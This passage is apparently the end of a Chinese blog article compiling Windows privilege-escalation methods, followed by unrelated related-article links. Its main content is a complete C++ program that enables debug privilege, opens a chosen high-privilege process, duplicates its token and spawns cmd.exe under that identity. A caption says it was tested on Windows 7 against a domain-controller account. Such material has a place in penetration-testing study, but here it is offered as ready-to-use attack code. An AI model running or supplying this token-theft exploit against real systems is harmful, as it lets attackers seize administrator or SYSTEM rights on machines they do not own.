  <p>技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的</p> 
  <pre><code>#include <iostream>
#include <Windows.h>


//Only administrator can get debug priv
BOOL GetDebugPriv() {
  HANDLE Token;
  TOKEN_PRIVILEGES tp;
  LUID Luid;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
    return false;
  }

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
    std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
    return false;
  }
  tp.Privileges[0].Luid = Luid;
  if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
    std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
    return false;
  }
  if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
    return false;
  }
  else {
    return true;
  }
}



int main(int argc, char* argv[]) {
  HANDLE t_process;
  HANDLE token = NULL;
  HANDLE token_bak = NULL;
  DWORD process_id;
  sscanf_s(argv[1], "%ul", &process_id);
  WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInformation;
  ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
  startupInfo.cb = sizeof(STARTUPINFO);
  std::cout << argv[1] << std::endl;
  std::cout << "Openning process PID:" << process_id << std::endl;
  if (GetDebugPriv()== TRUE) {
    std::cout << "Got the debug priv" << std::endl;
  }
  else {
    std::cout << "GetDebugPriv ERROR" << std::endl;
  }
  system("whoami /priv");
  t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
  if (!t_process) {
    std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
  }
  if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
  }

  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
    std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
  }
  if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
    std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
  }
  return 0;
}
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/93c5e7074d4b43bea34f40a7814bf308.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/93c5e7074d4b43bea34f40a7814bf308.jpg" alt="Windows提权方法大全汇总(值的收藏)_第22张图片" width="650" height="383" style="border:1px solid black;"></a><br> 这是在win7下的测试结果 const\administrator 是域控</p> 
  <p></p> 
 </div> 
</div>��������
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1527928347588325376"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(windows,编程语言,渗透测试,Java,c++)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1882241367690768384.htm"
                           title="Java算法栈" target="_blank">Java算法栈</a>
                        <span class="text-muted">王景程</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a>
                        <div>栈作为编程中一个常见的算法,以下是它的特征以及一个相对应的例子:在编程中,**栈(Stack)**是一种后进先出(LIFO,LastInFirstOut)数据结构。它的特性是:入栈(Push):将元素添加到栈顶。出栈(Pop):将栈顶元素移除。查看栈顶元素(Peek/Top):获取栈顶元素但不移除。Java提供了一个现成的Stack类,它是java.util包的一部分,可以直接用于算法问题中。算法</div>
                    </li>
                    <li><a href="/article/1882241238527176704.htm"
                           title="后端开发基础——JavaWeb(根基,了解原理)浓缩" target="_blank">后端开发基础——JavaWeb(根基,了解原理)浓缩</a>
                        <span class="text-muted">Wanna715</span>
<a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF%E5%BC%80%E5%8F%91%E5%9F%BA%E7%A1%80/1.htm">后端开发基础</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>总述学习Tomcat、JSON、Servlet、Filter、Session、Cookie、Ajax异步请求、RESTful接口规范、JSP(很老的技术,了解)Servlet系统架构C/S架构(Client/Server(客户端/服务器))B/S架构(Browser/Server,浏览器/服务器)javaJavaSE:Java标准版JavaEE:企业版(WEB方向,WEB系统)13种规范,其中Se</div>
                    </li>
                    <li><a href="/article/1882240860406476800.htm"
                           title="JVM学习指南(44)-JVM模块化" target="_blank">JVM学习指南(44)-JVM模块化</a>
                        <span class="text-muted">俞兆鹏</span>
<a class="tag" taget="_blank" href="/search/JVM%E5%AD%A6%E4%B9%A0%E6%8C%87%E5%8D%97/1.htm">JVM学习指南</a><a class="tag" taget="_blank" href="/search/JVM/1.htm">JVM</a>
                        <div>文章目录模块化概述模块化的重要性JVM模块化的历史背景Java模块化的演变模块化的关键概念模块(module)要求(requires)导出(exports)开放(opens)模块化的实际应用定义模块使用模块模块化的影响模块化的未来展望新特性和改进对Java生态系统的影响模块化概述在软件开发中,模块化是一种将复杂系统分解成更小、更易管理的部分的方法。这种分解不仅有助于提高代码的可读性和可维护性,还能</div>
                    </li>
                    <li><a href="/article/1882235317180755968.htm"
                           title="java—网络编程TCP和UDP" target="_blank">java—网络编程TCP和UDP</a>
                        <span class="text-muted">添砖,加瓦</span>
<a class="tag" taget="_blank" href="/search/Java%E5%9F%BA%E7%A1%80/1.htm">Java基础</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>1.Java网络编程概述Java网络编程是通过java.net包实现的,Socket类是用来进行客户端与服务器通信的主要类。服务器端通过ServerSocket类来监听客户端的请求,客户端则通过Socket类来连接服务器。2.TCP网络编程示例在TCP通信中,数据传输是可靠的,确保了数据的顺序和完整性。以下是一个简单的客户端和服务器应用,其中服务器端监听指定端口,客户端向服务器发送消息并接收响应。</div>
                    </li>
                    <li><a href="/article/1882233802596610048.htm"
                           title="Java与AWS S3的文件操作" target="_blank">Java与AWS S3的文件操作</a>
                        <span class="text-muted">老友@</span>
<a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/aws/1.htm">aws</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/s3%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">s3服务器</a>
                        <div>从零开始:Java与AWSS3的文件操作一、什么是AWSS3?AWSS3的特点AWSS3的应用场景二、Java整合S3方法使用MinIO客户端操作S3使用AWSSDK操作S3(推荐使用)三、总结一、什么是AWSS3?AmazonSimpleStorageService(简称AmazonS3)是由亚马逊网络服务(AWS)提供的一种对象存储服务。它提供了一个高度可扩展、持久、安全且低成本的存储解决方案</div>
                    </li>
                    <li><a href="/article/1882233171278360576.htm"
                           title="linux下c/c++调用外部程序" target="_blank">linux下c/c++调用外部程序</a>
                        <span class="text-muted">tadus_zeng</span>
<a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/system%E5%87%BD%E6%95%B0/1.htm">system函数</a><a class="tag" taget="_blank" href="/search/execv/1.htm">execv</a><a class="tag" taget="_blank" href="/search/fork/1.htm">fork</a><a class="tag" taget="_blank" href="/search/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/1.htm">进程通信</a><a class="tag" taget="_blank" href="/search/pipe/1.htm">pipe</a>
                        <div>system函数//system_exe.cc#include#include#include#include#includeintmain(intargc,char*argv[]){assert(argc>=2);spdlog::set_level(spdlog::level::debug);std::stringbuff;for(inti=1;i#include#include#include</div>
                    </li>
                    <li><a href="/article/1882231530118508544.htm"
                           title="java获取pdf的属性_Java 文件属性.pdf" target="_blank">java获取pdf的属性_Java 文件属性.pdf</a>
                        <span class="text-muted">东山白云意</span>
<a class="tag" taget="_blank" href="/search/java%E8%8E%B7%E5%8F%96pdf%E7%9A%84%E5%B1%9E%E6%80%A7/1.htm">java获取pdf的属性</a>
                        <div>Java文件属性Java⽂件属性JavaIO教程-Java⽂件属性Files类可以访问常⽤的⽂件属性。Files.isHidden(Pathp)⽅法测试⽂件是否被隐藏。Files类中的以下⽅法可以访问⽂件的各种类型的常⽤属性。longsize(Path)booleanisHidden(Pathpath)booleanisRegularFile(Pathpath,LinkOption...optio</div>
                    </li>
                    <li><a href="/article/1882227237604880384.htm"
                           title="Linux下内存泄漏排查" target="_blank">Linux下内存泄漏排查</a>
                        <span class="text-muted">极地星光</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>在Linux系统下,针对C++项目的内存泄漏排查,可以采用多种方法和工具。以下是对这些方法和工具的总结:一、基础工具和命令top和htop:top命令可以实时监控系统资源使用情况,包括内存使用情况。通过运行top命令并按下M键,可以按照内存使用量排序,查看占用内存较多的进程。htop是top的增强版,提供了更友好的界面和更多功能。free命令:显示系统的内存使用情况,包括物理内存、交换空间等。ps</div>
                    </li>
                    <li><a href="/article/1882225470964035584.htm"
                           title="arcgis js 怎么加载geoserver发布的wms服务" target="_blank">arcgis js 怎么加载geoserver发布的wms服务</a>
                        <span class="text-muted">niuge No.1</span>
<a class="tag" taget="_blank" href="/search/1024%E7%A8%8B%E5%BA%8F%E5%91%98%E8%8A%82/1.htm">1024程序员节</a>
                        <div>arcgisjsapi加载wms服务,官方的参考样例:WMSLayer|SampleCode|ArcGISMapsSDKforJavaScript4.30|EsriDeveloper按照官方样例加载比较奇怪,我们平常习惯用url或者json的方式加载,稍微改一下就行,如下:constlayer=newWMSLayer({url:"http://127.0.0.1:8080/geoserver/ne</div>
                    </li>
                    <li><a href="/article/1882223576371752960.htm"
                           title="MongoDB详细讲解 + springboot集成" target="_blank">MongoDB详细讲解 + springboot集成</a>
                        <span class="text-muted">you0719</span>
<a class="tag" taget="_blank" href="/search/%E7%AE%80%E5%8D%95%E5%AD%A6%E7%82%B9java/1.htm">简单学点java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>MongoDB以JSON为数据模型的文档非关系型数据库垂直扩展在一个机器上进行性能扩展水平扩展多个机器的扩展定位特点定位为应用数据库,存储数据特点:量大/非敏感/一定的查询性能MongoDB的语法是JavaScript语法添加db.集合名.insert(js对象)编辑db.集合名.updateMany({key:value}{$set:{key:value}})删除db.集合名.deleteMan</div>
                    </li>
                    <li><a href="/article/1882223577210613760.htm"
                           title="每个程序员都该学习的5种开发语言" target="_blank">每个程序员都该学习的5种开发语言</a>
                        <span class="text-muted">阿玥的小东东</span>
<a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>我曾在某处读到过(可能在《代码大全》,但我不敢确定),程序员应该每年学习一门新的编程语言。但如果做不到,我建议,你至少学习以下5种开发语言,以便你在职业生涯有很好的表现。每个公司都喜爱精通多种编程语言并且多才多艺的程序员。一个既能很麻利地写脚本,也能编写复杂的Java程序的程序员,确实相当有价值。所以实际上,对于高级开发者来说,学习不止一种编程语言,几乎就是必然的要求。目前而言,面试官越来越看重那</div>
                    </li>
                    <li><a href="/article/1882222945439379456.htm"
                           title="uniapp APP端页面触发调用uniapp开发的webview里的方法" target="_blank">uniapp APP端页面触发调用uniapp开发的webview里的方法</a>
                        <span class="text-muted">printf_824</span>
<a class="tag" taget="_blank" href="/search/uniapp%E5%88%86%E4%BA%AB/1.htm">uniapp分享</a><a class="tag" taget="_blank" href="/search/uni-app/1.htm">uni-app</a>
                        <div>原理:使用getCurrentInstance()获取当前组件的Vue实例,通过instance.proxy.$scope.$getAppWebview()获取Uniapp的原生WebView对象。使用WebView提供的evalJS方法,执行嵌入H5页面内的JavaScript代码functiongetData(){url.value="http://192.168.0.22:5174/#/pa</div>
                    </li>
                    <li><a href="/article/1882220799889305600.htm"
                           title="Blazor-ApexCharts 开源项目指南" target="_blank">Blazor-ApexCharts 开源项目指南</a>
                        <span class="text-muted">凌桃莺Talia</span>

                        <div>Blazor-ApexCharts开源项目指南项目地址:https://gitcode.com/gh_mirrors/bl/Blazor-ApexCharts一、项目介绍Blazor-ApexCharts是一个用于Blazor框架的图表组件库封装,它基于流行的前端图表库ApexCharts.js实现。这个项目旨在简化在Blazor应用中添加交互式图表的过程,无需直接处理复杂的JavaScript互</div>
                    </li>
                    <li><a href="/article/1882220043413024768.htm"
                           title="Information On Installed Database Components and Schemas" target="_blank">Information On Installed Database Components and Schemas</a>
                        <span class="text-muted">cmkcnufwy33419835</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>Subject:InformationOnInstalledDatabaseComponentsandSchemasDocID:472937.1Type:HOWTOModifiedDate:20-JUL-2009Status:PUBLISHEDInthisDocumentGoalSolution1.JServerJAVAVirtualMachine2.OLAPCatalog,OLAPAnalyti</div>
                    </li>
                    <li><a href="/article/1882219034200567808.htm"
                           title="Lisp语言:循环控制" target="_blank">Lisp语言:循环控制</a>
                        <span class="text-muted">YdvCss</span>
<a class="tag" taget="_blank" href="/search/lisp/1.htm">lisp</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>Lisp是一种功能强大的编程语言,具有灵活的控制结构和丰富的语法。在Lisp中,我们可以使用循环控制结构来迭代执行一系列操作。本文将介绍Lisp中的循环控制结构以及它们的使用方法,并提供相应的源代码示例。在Lisp中,常用的循环控制结构有三种:do、dotimes和dolist。这些结构各有特点,适用于不同的循环场景。下面我们将逐个介绍它们的用法。do循环do循环是Lisp中最通用的循环控制结构,</div>
                    </li>
                    <li><a href="/article/1882216259089657856.htm"
                           title="Scheme语言的区块链" target="_blank">Scheme语言的区块链</a>
                        <span class="text-muted">程韵珂</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Scheme语言的区块链探索引言区块链技术自从比特币推出以来,已迅速成为全球瞩目的焦点。其去中心化、不易篡改的特点使得区块链在多个领域展现出了巨大的潜力。通常,区块链的实现主要依赖于多种编程语言,例如C++、Java、Python等。然而,Scheme语言以其独特的表达能力和强大的抽象特性,也为区块链的实现提供了新的视角。本文将深入探讨Scheme语言如何在区块链中发挥作用,并介绍如何使用Sche</div>
                    </li>
                    <li><a href="/article/1882216006747746304.htm"
                           title="Assembly语言的数据库编程" target="_blank">Assembly语言的数据库编程</a>
                        <span class="text-muted">梁雨珈</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>以Assembly语言的数据库编程引言随着计算机技术的发展,数据库作为数据存储和管理的核心,得到了广泛应用。传统的数据库编程多采用高级编程语言,如C、C++、Java等。然而,在某些特定场景下,使用Assembly语言进行数据库编程具有重要意义,比如在嵌入式系统和性能优化方面。本文将探讨Assembly语言在数据库编程中的应用,介绍数据库的基本概念,并提供一些实现示例。数据库基本概念数据库(Dat</div>
                    </li>
                    <li><a href="/article/1882216006202486784.htm"
                           title="Lua语言的Web开发" target="_blank">Lua语言的Web开发</a>
                        <span class="text-muted">梁雨珈</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Lua语言的Web开发引言随着互联网的快速发展,Web开发技术也在不断演进。许多开发者都在寻找一种轻量级且高效的编程语言来进行Web开发。Lua语言作为一种简洁、高效的脚本语言,近年来逐渐为开发者所关注。在本篇文章中,我们将深入探讨Lua语言在Web开发中的应用,分析其优缺点,并介绍一些常用的框架和库。Lua语言概述Lua是一种轻量级的、高级的、多范式的编程语言,设计初衷是为了嵌入其他应用程序中。</div>
                    </li>
                    <li><a href="/article/1882215753986404352.htm"
                           title="Logo语言的函数实现" target="_blank">Logo语言的函数实现</a>
                        <span class="text-muted">萧澄华</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Logo语言的函数实现引言Logo语言是一种教育性编程语言,最初由西摩尔·派普特(SeymourPapert)在1960年代开发。它以“海龟图形”(TurtleGraphics)而闻名,通过简单的命令控制一只“海龟”在屏幕上绘制图形,从而帮助学生理解几何、编程及逻辑思维。Logo语言虽然简洁,但它的核心概念——特别是函数的实现与使用——为编程教育奠定了坚实的基础。在本文中,我们将探讨Logo语言的</div>
                    </li>
                    <li><a href="/article/1882215501782904832.htm"
                           title="Simula语言的多线程编程" target="_blank">Simula语言的多线程编程</a>
                        <span class="text-muted">齐雅彤</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Simula语言的多线程编程探讨引言在计算机科学的发展历程中,多线程编程作为一种重要的编程范式,逐渐得到了广泛应用。尤其是随着计算机硬件的不断发展,越来越多的程序需要同时执行多个任务,以提高程序的效率和响应速度。在众多编程语言中,Simula语言因其在面向对象编程上的开创性贡献而备受关注。尽管Simula不是一种专门为多线程编程设计的语言,但在其语言特性中,也能够实现多线程的功能。本文将对Simu</div>
                    </li>
                    <li><a href="/article/1882215375437885440.htm"
                           title="Java语言的嵌入式系统" target="_blank">Java语言的嵌入式系统</a>
                        <span class="text-muted">齐雅彤</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Java语言在嵌入式系统中的应用引言嵌入式系统是指那些专用的计算机系统,通常嵌入到其他设备中执行特定的功能。随着智能设备的普及,嵌入式系统已成为现代电子设备的重要组成部分。由于嵌入式系统对硬件资源的限制,选择合适的编程语言对开发过程至关重要。Java语言以其跨平台性、丰富的库及社区支持逐渐在嵌入式开发中受到欢迎。Java语言的特点Java是一种面向对象的编程语言,具备以下几个显著特点:平台独立性:</div>
                    </li>
                    <li><a href="/article/1882215122231947264.htm"
                           title="Perl语言的软件开发工具" target="_blank">Perl语言的软件开发工具</a>
                        <span class="text-muted">Code侠客行</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Perl语言的软件开发工具引言Perl是一种功能强大且灵活的高级编程语言,自1987年由拉里·沃尔(LarryWall)创建以来,就广泛应用于文本处理、系统管理、网络编程、Web开发等多个领域。作为一种脚本语言,Perl以其简洁的语法和强大的正则表达式处理能力而受到开发者的青睐。在实际开发过程中,虽然没有像Java或Python那样广泛流行,但Perl也有着自己独特的生态系统,其中包括许多强大的开</div>
                    </li>
                    <li><a href="/article/1882214744211910656.htm"
                           title="Kotlin语言的数据结构" target="_blank">Kotlin语言的数据结构</a>
                        <span class="text-muted">网络空间站</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Kotlin语言的数据结构导论Kotlin是一种现代化的编程语言,具有简洁、安全和高效的特点。Kotlin不仅支持面向对象编程,还融入了函数式编程的概念,使得开发者能够以更优雅的方式处理数据。在构建复杂应用时,数据结构的选择及其实现方式至关重要。本篇文章将全面介绍Kotlin中常用的数据结构,包括数组、集合、映射等,并探讨它们的特性、用途及实现方式。一、数组(Array)在Kotlin中,数组是一</div>
                    </li>
                    <li><a href="/article/1882212348882644992.htm"
                           title="【go语言】变量和常量" target="_blank">【go语言】变量和常量</a>
                        <span class="text-muted">加油,旭杏</span>
<a class="tag" taget="_blank" href="/search/Go%E8%AF%AD%E8%A8%80/1.htm">Go语言</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>一、变量1.1变量的定义程序:我们向电脑说了一段话,需要电脑才能理解(沟通机制,xxx语言--汇编--机器码),电脑实际上识别的是机器码:011101(高低电频)机器码:穿孔纸带汇编:早些时候,现在的很多机器硬件底层代码,都是汇编人能读懂的代码:英文、中文将我们的语言和机器进行对接(C、Java、Go--->编译器-->计算机中去执行:无需理解的,我们只需要写我们能看懂的代码即可),我们理解的世界</div>
                    </li>
                    <li><a href="/article/1882212096704311296.htm"
                           title="微信小程序开发项目-基于微信小程序的毕业设计180套(源码+演示录像+LW)" target="_blank">微信小程序开发项目-基于微信小程序的毕业设计180套(源码+演示录像+LW)</a>
                        <span class="text-muted">职场程序猿</span>
<a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">微信小程序毕业设计</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">微信小程序</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">小程序</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E8%AE%BE/1.htm">毕设</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">毕业设计</a>
                        <div>大家好!我是职场程序猿,感谢您阅读本文,欢迎一键三连哦。今天给大家分享180+的微信小程序毕业设计,后台用Java开发,这些项目都经过精心挑选,涵盖了不同的实战主题和用例,可做毕业设计和课程设计参考。✍️除了源码,对于大部分项目实现的功能都有相应的介绍,并且配有演示视频,方便大家根据自己的需要择优下载学习。另外如有定制需求或者想要相对应的论文参考,文末可以十我VX联系。后续还会持续更新,欢迎关注!</div>
                    </li>
                    <li><a href="/article/1882209326307799040.htm"
                           title="Lisp语言的循环实现" target="_blank">Lisp语言的循环实现</a>
                        <span class="text-muted">齐雅彤</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>Lisp语言的循环实现引言Lisp(LIStProcessing)是一门历史悠久且具有高度灵活性和表达力的编程语言。自1958年首次面世以来,Lisp语言在学术界与工业界均得到了广泛应用。它的函数式编程范式和强大而独特的宏系统使得Lisp在处理符号处理和人工智能领域特别出众。循环结构是程序设计中不可或缺的部分,而在Lisp中,循环的实现与其他编程语言有很大不同。本文将探讨Lisp语言中循环的各种实</div>
                    </li>
                    <li><a href="/article/1882207936592277504.htm"
                           title="深入剖析 JVM 内存模型" target="_blank">深入剖析 JVM 内存模型</a>
                        <span class="text-muted">小白的一叶扁舟</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">面试题</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>前言:下面分别介绍了新生代和老年代的不同收集器及其相关子类型,并附有示例代码和说明,感兴趣的朋友可以参考一下。简介:在Java虚拟机(JVM)的世界里,内存模型是其核心架构之一,它决定了Java程序如何存储和管理数据,深刻影响着程序的性能和稳定性。了解JVM内存模型,对于优化Java应用、排查内存相关问题至关重要。一、类加载器子系统类加载器子系统在JVM中扮演着数据“搬运工”的角色,负责将字节码文</div>
                    </li>
                    <li><a href="/article/1882207935266877440.htm"
                           title="JPA 和 Hibernate(Springboot中使用HQL)" target="_blank">JPA 和 Hibernate(Springboot中使用HQL)</a>
                        <span class="text-muted">小白的一叶扁舟</span>
<a class="tag" taget="_blank" href="/search/Java%E5%BC%80%E5%8F%91/1.htm">Java开发</a><a class="tag" taget="_blank" href="/search/hibernate/1.htm">hibernate</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>前言:在项目开发过程中,使用Springboot集成HQL,在此用于记录,下方有原生方法及HQL注意事项和示例,有兴趣的可往下阅读。一、基本概念JPA:全称是JavaPersistenceAPI,即Java持久化API,是SUN公司推出的一套基于ORM的规范,由一系列接口和抽象类构成。它是EJB3规范中负责对象持久化的应用程序编程接口(ORM接口),定义了多种注释,这些注释可分为类级别、方法级别和</div>
                    </li>
